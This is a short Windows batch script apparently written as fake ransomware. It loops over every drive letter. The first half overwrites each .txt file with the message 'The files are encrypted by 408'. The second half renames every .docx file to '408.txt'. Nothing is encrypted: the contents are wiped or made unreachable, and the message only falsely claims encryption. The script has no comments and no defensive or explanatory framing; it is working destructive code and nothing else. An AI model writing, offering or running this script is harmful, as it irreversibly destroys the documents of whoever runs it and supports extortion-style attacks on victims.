---

@echo off

for %%D in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (
    if exist %%D:\ (
for /r %%D:\ %%F in (*.txt) do (
    echo The files are encrypted by 408 > "%%F"
        )
    )
)

echo success.

@echo off

for %%D in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (
    if exist %%D:\ (
        for /r %%D:\ %%F in (*.docx) do (
            ren "%%F" "408.txt"
        )
    )
)

echo success.